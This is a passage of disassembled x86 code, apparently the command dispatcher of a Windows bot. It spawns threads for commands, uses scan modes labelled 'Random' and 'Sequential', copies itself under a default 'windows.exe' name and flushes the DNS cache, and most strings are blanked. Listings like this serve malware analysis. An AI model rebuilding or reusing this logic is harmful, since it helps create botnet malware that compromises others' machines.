		lea	eax, [ebp+4Ch+var_858]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_728], 1
		call	__snprintf
		push	offset byte_42B633 ; Str2
		push	esi		; Str1
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40446F
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_7D8]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_404475
; ---------------------------------------------------------------------------


loc_40446F:				; CODE XREF: sub_40274D+1D0Dj
		mov	[ebp+4Ch+var_7D8], bl


loc_404475:				; CODE XREF: sub_40274D+1D20j
		cmp	[ebp+4Ch+var_728], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_404487
		mov	eax, offset aSequential	; "Sequential"


loc_404487:				; CODE XREF: sub_40274D+1D33j
		push	[ebp+4Ch+var_73C]
		lea	ecx, [ebp+4Ch+var_868]
		push	[ebp+4Ch+var_74C]
		push	[ebp+4Ch+var_750]
		push	[ebp+4Ch+var_754]
		push	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F360 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 2Ch
		mov	[ebp+4Ch+var_748], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax		; Args
		push	ebx
		lea	eax, [ebp+4Ch+var_868]
		push	eax
		push	offset sub_40BEFE
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_748]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404561
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F324 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40451A:				; CODE XREF: sub_40274D+1E1Cj
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_404538
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_404538:				; CODE XREF: sub_40274D+1DD0j
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		pop	ecx


loc_404545:				; CODE XREF: sub_40274D+1BA4j
		add	[ebp+4Ch+var_20], 0Bh
		mov	eax, [ebp+4Ch+var_20]
		cmp	[eax], bl
		jnz	loc_4042AA
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_404559:				; CODE XREF: sub_40274D+1E1Aj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404561:				; CODE XREF: sub_40274D+1DB0j
		cmp	[ebp+4Ch+var_724], ebx
		jz	short loc_404559
		jmp	short loc_40451A
; ---------------------------------------------------------------------------


loc_40456B:				; CODE XREF: sub_40274D+1C20j
		push	offset unk_42F2EC
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_40274D+197Fj
					; sub_40274D+1994j
		push	5
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_40458B
		push	offset unk_42F2CC
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_40274D+1E32j
		mov	eax, dword ptr [ebp+esi+4Ch+Args]
		cmp	eax, ebx
		mov	edi, 104h
		jz	short loc_4045AB
		push	eax		; Format
		lea	eax, [ebp+4Ch+var_2D58]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4045BA
; ---------------------------------------------------------------------------


loc_4045AB:				; CODE XREF: sub_40274D+1E49j
		push	edi
		lea	eax, [ebp+4Ch+var_2D58]
		push	eax
		push	ebx
		call	ds:dword_42B00C	; GetModuleFileNameA


loc_4045BA:				; CODE XREF: sub_40274D+1E5Cj
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		jnz	short loc_4045C7
		mov	esi, offset aWindows_exe ; "windows.exe"


loc_4045C7:				; CODE XREF: sub_40274D+1E73j
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_2C54]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, dword_43C074
		mov	[ebp+4Ch+var_2B48], eax
		mov	eax, [ebp+4Ch+arg_4]
		push	7Fh		; Count
		push	[ebp+4Ch+Format] ; Source
		mov	[ebp+4Ch+var_2D5C], eax
		lea	eax, [ebp+4Ch+var_2B44]
		push	eax		; Dest
		mov	[ebp+4Ch+var_2B4C], ebx
		call	_strncpy
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_2AC4], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_2AC0], eax
		lea	eax, [ebp+4Ch+var_2D58]
		push	eax
		push	[ebp+4Ch+var_2B48]
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F298 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	5		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 34h
		mov	[ebp+4Ch+var_2B50], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_2D5C]
		push	eax
		push	offset sub_4146A1
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_2B50]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404690
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F25C
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_404688:				; CODE XREF: sub_40274D+1F49j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404690:				; CODE XREF: sub_40274D+1F28j
		cmp	[ebp+4Ch+var_2ABC], ebx
		jz	short loc_404688
		jmp	loc_40698D
; ---------------------------------------------------------------------------


loc_40469D:				; CODE XREF: sub_40274D+1955j
					; sub_40274D+196Aj
		mov	edi, dword ptr [ebp+esi+4Ch+Args]
		cmp	edi, ebx
		jz	short loc_4046B9
		push	edi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jz	short loc_4046B9
		push	edi		; Str
		call	j__atol
		pop	ecx
		jmp	short loc_4046BE
; ---------------------------------------------------------------------------


loc_4046B9:				; CODE XREF: sub_40274D+1F56j
					; sub_40274D+1F61j
		mov	eax, dword_43C078


loc_4046BE:				; CODE XREF: sub_40274D+1F6Aj
		mov	esi, [ebp+esi+4Ch+Format]
		mov	[ebp+4Ch+var_36D0], eax
		xor	eax, eax
		cmp	[ebp+4Ch+var_904], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+4Ch+var_36BC], eax
		jz	short loc_4046EE
		lea	eax, [ebp+4Ch+var_37D4]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_404719
; ---------------------------------------------------------------------------


loc_4046EE:				; CODE XREF: sub_40274D+1F8Ej
		push	104h
		lea	eax, [ebp+4Ch+FullPath]
		push	eax
		call	ds:dword_42B010	; GetSystemDirectoryA
		push	ebx		; Ext
		push	ebx		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+4Ch+Drive]
		push	eax		; Drive
		lea	eax, [ebp+4Ch+FullPath]
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h


loc_404719:				; CODE XREF: sub_40274D+1F9Fj
		lea	eax, [ebp+4Ch+var_37D4]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+4Ch+var_37D5],	5Ch
		pop	ecx
		jnz	short loc_404744
		lea	eax, [ebp+4Ch+var_37D4]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+4Ch+var_37D5],	bl


loc_404744:				; CODE XREF: sub_40274D+1FE1j
		push	[ebp+4Ch+Format] ; Format
		mov	esi, [ebp+4Ch+arg_4]
		lea	eax, [ebp+4Ch+var_3A5C]
		push	80h		; Count
		push	eax		; Dest
		mov	[ebp+4Ch+var_3A60], esi
		call	__snprintf
		mov	eax, [ebp+4Ch+var_C]
		mov	edi, [ebp+4Ch+var_4]
		add	esp, 0Ch
		mov	[ebp+4Ch+var_36C0], eax
		lea	eax, [ebp+4Ch+var_37D4]
		push	eax
		push	[ebp+4Ch+var_36D0]
		mov	[ebp+4Ch+var_36C4], edi
		push	esi
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F220 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	3		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_36C8], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_3A60]
		push	eax
		push	offset sub_412DD9
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_36C8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4047FC
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F1E4
		jmp	loc_40491A
; ---------------------------------------------------------------------------


loc_4047F4:				; CODE XREF: sub_40274D+20B5j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4047FC:				; CODE XREF: sub_40274D+2094j
		cmp	[ebp+4Ch+var_36B4], ebx
		jz	short loc_4047F4
		jmp	loc_404929
; ---------------------------------------------------------------------------


loc_404809:				; CODE XREF: sub_40274D+192Bj
					; sub_40274D+1940j
		mov	edi, dword ptr [ebp+esi+4Ch+Args]
		cmp	edi, ebx
		jz	short loc_404825
		push	edi		; Str
		call	j__atol
		test	eax, eax
		pop	ecx
		jz	short loc_404825
		push	edi		; Str
		call	j__atol
		pop	ecx
		jmp	short loc_40482A
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_40274D+20C2j
					; sub_40274D+20CDj
		mov	eax, dword_43C07C


loc_40482A:				; CODE XREF: sub_40274D+20D6j
		mov	[ebp+4Ch+var_182C], eax
		mov	eax, [ebp+esi+4Ch+Format]
		cmp	eax, ebx
		jnz	short loc_40483E
		lea	eax, [ebp+4Ch+var_D0]


loc_40483E:				; CODE XREF: sub_40274D+20E9j
		push	eax		; Format
		lea	eax, [ebp+4Ch+var_196C]
		push	40h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+4Ch+var_98]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_40485D
		mov	esi, offset byte_42B633


loc_40485D:				; CODE XREF: sub_40274D+2109j
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_192C]
		push	100h		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_19EC]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+var_C]
		mov	esi, [ebp+4Ch+arg_4]
		mov	edi, [ebp+4Ch+var_4]
		add	esp, 18h
		mov	[ebp+4Ch+var_1818], eax
		lea	eax, [ebp+4Ch+var_196C]
		push	eax
		push	[ebp+4Ch+var_182C]
		mov	[ebp+4Ch+var_19F0], esi
		push	esi
		mov	[ebp+4Ch+var_181C], edi
		call	sub_4023C9
		pop	ecx
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42F1A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	9		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_1828], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_19F0]
		push	eax
		push	offset sub_413A51
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_1828]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404941
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42F16C ; "-"


loc_40491A:				; CODE XREF: sub_40274D+20A2j
					; sub_40274D+4A78j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_404929:				; CODE XREF: sub_40274D+20B7j
					; sub_40274D+21FCj ...
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_408D10
		push	ebx
		push	edi
		jmp	loc_4089CD
; ---------------------------------------------------------------------------


loc_404939:				; CODE XREF: sub_40274D+21FAj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404941:				; CODE XREF: sub_40274D+21BFj
		cmp	[ebp+4Ch+var_1814], ebx
		jz	short loc_404939
		jmp	short loc_404929
; ---------------------------------------------------------------------------


loc_40494B:				; CODE XREF: sub_40274D+1901j
					; sub_40274D+1916j
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	short loc_40495B
		push	esi		; Str
		call	j__atol
		jmp	short loc_404962
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_40274D+2204j
		push	0Bh
		call	sub_40B094


loc_404962:				; CODE XREF: sub_40274D+220Cj
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404979
		push	eax		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40B619


loc_404976:				; CODE XREF: sub_40274D+26CBj
		add	esp, 10h


loc_404979:				; CODE XREF: sub_40274D+5C8j
					; sub_40274D+5D4j ...
		mov	eax, [ebp+4Ch+arg_24]
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_404981:				; CODE XREF: sub_40274D+18D7j
					; sub_40274D+18ECj
		mov	eax, dword_4441F0
		cmp	eax, ebx
		jz	short loc_4049A4
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_40499D
		push	offset unk_42F148
		jmp	short loc_4049AF
; ---------------------------------------------------------------------------


loc_40499D:				; CODE XREF: sub_40274D+2247j
		push	offset unk_42F11C
		jmp	short loc_4049AF
; ---------------------------------------------------------------------------


loc_4049A4:				; CODE XREF: sub_40274D+223Bj
		push	offset asc_42F0F0 ; "-"
		lea	eax, [ebp+4Ch+Dst]


loc_4049AF:				; CODE XREF: sub_40274D+224Ej
					; sub_40274D+2255j ...
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		jmp	loc_4076E0
; ---------------------------------------------------------------------------


loc_4049BF:				; CODE XREF: sub_40274D+18ADj
					; sub_40274D+18C2j
		call	sub_4022F5
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_4049D5
		push	offset unk_42F0CC
		jmp	short loc_4049AF
; ---------------------------------------------------------------------------


loc_4049D5:				; CODE XREF: sub_40274D+227Fj
		push	offset unk_42F0A0
		jmp	short loc_4049AF
; ---------------------------------------------------------------------------


loc_4049DC:				; CODE XREF: sub_40274D+1883j
					; sub_40274D+1898j
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_4049F8
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset dword_42F088 ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_4049F8:				; CODE XREF: sub_40274D+2292j
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		call	sub_41AD5A
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	offset dword_42F06C


loc_404A12:				; CODE XREF: sub_40274D+257Dj
					; sub_40274D+25ACj
		call	sub_417D70
		jmp	loc_409FB6
; ---------------------------------------------------------------------------


loc_404A1C:				; CODE XREF: sub_40274D+1725j
					; sub_40274D+173Aj
		push	0Ah
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_404A2F
		push	offset unk_42F040
		jmp	short loc_404A4D
; ---------------------------------------------------------------------------


loc_404A2F:				; CODE XREF: sub_40274D+22D9j
		push	[ebp+4Ch+Format]
		push	[ebp+4Ch+arg_4]
		call	sub_41C9D4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_404A48
		push	offset unk_42F018
		jmp	short loc_404A4D
; ---------------------------------------------------------------------------


loc_404A48:				; CODE XREF: sub_40274D+22F2j
		push	offset asc_42EFF8 ; "-"


loc_404A4D:				; CODE XREF: sub_40274D+22E0j
					; sub_40274D+22F9j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_404A5B:				; CODE XREF: sub_40274D+5574j
					; sub_40274D+6E4Dj
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_404A79
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int


loc_404A71:				; CODE XREF: sub_40274D+6ADFj
		call	sub_40123B
		add	esp, 14h


loc_404A79:				; CODE XREF: sub_40274D+2311j
					; sub_40274D+2508j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		jmp	loc_40A217
; ---------------------------------------------------------------------------


loc_404A8A:				; CODE XREF: sub_40274D+16FBj
					; sub_40274D+1710j
		push	[ebp+4Ch+var_C]	; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_401F92
		jmp	loc_404D0F
; ---------------------------------------------------------------------------


loc_404AA0:				; CODE XREF: sub_40274D+16D1j
					; sub_40274D+16E6j
		push	dword ptr [ebp+esi+4Ch+Args] ; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_419725
		jmp	loc_404D0F
; ---------------------------------------------------------------------------


loc_404AB7:				; CODE XREF: sub_40274D+16A7j
					; sub_40274D+16BCj
		or	edi, 0FFFFFFFFh
		call	ds:dword_42B038	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		mov	[ebp+4Ch+arg_0], eax
		jz	short loc_404ADD
		push	esi		; Str
		call	j__atol
		pop	ecx
		mov	edi, eax


loc_404ADD:				; CODE XREF: sub_40274D+2385j
		mov	eax, [ebp+4Ch+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404AF6
		cmp	edi, 0FFFFFFFFh
		jnz	loc_404979


loc_404AF6:				; CODE XREF: sub_40274D+239Ej
		push	ebx
		call	sub_41D5F8
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EFE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		jmp	loc_4083EA
; ---------------------------------------------------------------------------


loc_404B35:				; CODE XREF: sub_40274D+167Dj
					; sub_40274D+1692j
		push	[ebp+4Ch+var_4]
		push	[ebp+4Ch+Format]
		push	[ebp+4Ch+arg_4]
		call	sub_4185EA
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EFC0 ; "-"
		push	eax		; Dest
		call	_sprintf
		jmp	loc_408BF5
; ---------------------------------------------------------------------------


loc_404B59:				; CODE XREF: sub_40274D+1653j
					; sub_40274D+1668j
		push	27h
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_404B87
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_402B92
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset unk_42EFA0 ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		jmp	loc_4095B1
; ---------------------------------------------------------------------------


loc_404B87:				; CODE XREF: sub_40274D+2416j
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_BCC]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		mov	[ebp+4Ch+var_BD0], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_B44], eax
		mov	eax, [ebp+4Ch+var_C]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+4Ch+var_B40], eax
		mov	[ebp+4Ch+var_B48], ebx
		jz	short loc_404BE2
		push	esi		; Str2
		push	offset aFull	; "full"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_404BE2
		mov	[ebp+4Ch+var_B48], 1


loc_404BE2:				; CODE XREF: sub_40274D+2478j
					; sub_40274D+2489j
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EF7C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	27h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 14h
		mov	[ebp+4Ch+var_B4C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_BD0]
		push	eax
		push	offset sub_41C66C
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404C62
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EF40 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_404A79
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_40274D+251Bj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404C62:				; CODE XREF: sub_40274D+24EBj
		cmp	[ebp+4Ch+var_B3C], ebx
		jz	short loc_404C5A
		jmp	loc_404A79
; ---------------------------------------------------------------------------


loc_404C6F:				; CODE XREF: sub_40274D+1629j
					; sub_40274D+163Ej
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_404C8B
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	offset dword_42EF24 ; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_404C8B:				; CODE XREF: sub_40274D+2525j
		push	[ebp+4Ch+arg_4]
		call	dword_444218	; closesocket
		call	dword_444224	; WSACleanup
		call	sub_41AEDD
		jmp	loc_405462
; ---------------------------------------------------------------------------


loc_404CA4:				; CODE XREF: sub_40274D+15FFj
					; sub_40274D+1614j
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	[ebp+4Ch+arg_4]
		push	eax
		call	sub_41D779
		pop	ecx
		pop	ecx
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	offset dword_42EF08
		jmp	loc_404A12
; ---------------------------------------------------------------------------


loc_404CCF:				; CODE XREF: sub_40274D+15D5j
					; sub_40274D+15EAj
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	[ebp+4Ch+arg_4]
		push	[ebp+4Ch+arg_1C]
		push	eax
		call	sub_41D9E5
		add	esp, 0Ch
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		push	offset dword_42EEEC
		jmp	loc_404A12
; ---------------------------------------------------------------------------


loc_404CFE:				; CODE XREF: sub_40274D+15ABj
					; sub_40274D+15C0j
		push	[ebp+4Ch+var_C]	; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_417E10


loc_404D0F:				; CODE XREF: sub_40274D+372j
					; sub_40274D+234Ej ...
		add	esp, 10h
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_404D17:				; CODE XREF: sub_40274D+1581j
					; sub_40274D+1596j
		cmp	[ebp+4Ch+var_18], ebx
		mov	[ebp+4Ch+var_159C], bl
		jz	short loc_404D53
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		cmp	esi, ebx
		jz	short loc_404D53
		push	esi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_404D53
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+4Ch+var_159C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_404D53:				; CODE XREF: sub_40274D+25D3j
					; sub_40274D+25DBj ...
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_161C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	[ebp+4Ch+var_1620], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_1518], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_1514], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EED4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	25h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_151C], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_1620]
		push	eax
		push	offset sub_417E51
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_151C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404DF3
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EE9C
		jmp	loc_40A211
; ---------------------------------------------------------------------------


loc_404DEB:				; CODE XREF: sub_40274D+26ACj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404DF3:				; CODE XREF: sub_40274D+268Bj
		cmp	[ebp+4Ch+var_1510], ebx
		jz	short loc_404DEB
		jmp	loc_402B92
; ---------------------------------------------------------------------------


loc_404E00:				; CODE XREF: sub_40274D+1557j
					; sub_40274D+156Cj
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_417CF8
		push	offset dword_42EE84
		call	sub_417D70
		jmp	loc_404976
; ---------------------------------------------------------------------------


loc_404E1D:				; CODE XREF: sub_40274D+152Dj
					; sub_40274D+1542j
		push	[ebp+4Ch+Format] ; Format
		lea	eax, [ebp+4Ch+var_B34]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+4Ch+arg_4]
		mov	esi, dword ptr [ebp+esi+4Ch+Args]
		mov	[ebp+4Ch+var_B38], eax
		mov	eax, [ebp+4Ch+var_4]
		mov	[ebp+4Ch+var_AAC], eax
		mov	eax, [ebp+4Ch+var_C]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+4Ch+var_AA8], eax
		jz	short loc_404E71
		push	offset aSub	; "sub"
		push	esi		; Str1
		call	_strcmp
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+4Ch+var_AB0], eax
		jmp	short loc_404E77
; ---------------------------------------------------------------------------


loc_404E71:				; CODE XREF: sub_40274D+2708j
		mov	[ebp+4Ch+var_AB0], ebx


loc_404E77:				; CODE XREF: sub_40274D+2722j
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42EE60 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	28h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 14h
		mov	[ebp+4Ch+var_AB4], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_B38]
		push	eax
		push	offset sub_40B186
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_AB4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_404EE8
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42EE24
		jmp	loc_409AC1
; ---------------------------------------------------------------------------


loc_404EE0:				; CODE XREF: sub_40274D+27A1j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_404EE8:				; CODE XREF: sub_40274D+2780j
		cmp	[ebp+4Ch+var_AA4], ebx
		jz	short loc_404EE0
		jmp	loc_406C6B
; ---------------------------------------------------------------------------


loc_404EF5:				; CODE XREF: sub_40274D+14B4j
					; sub_40274D+14C9j
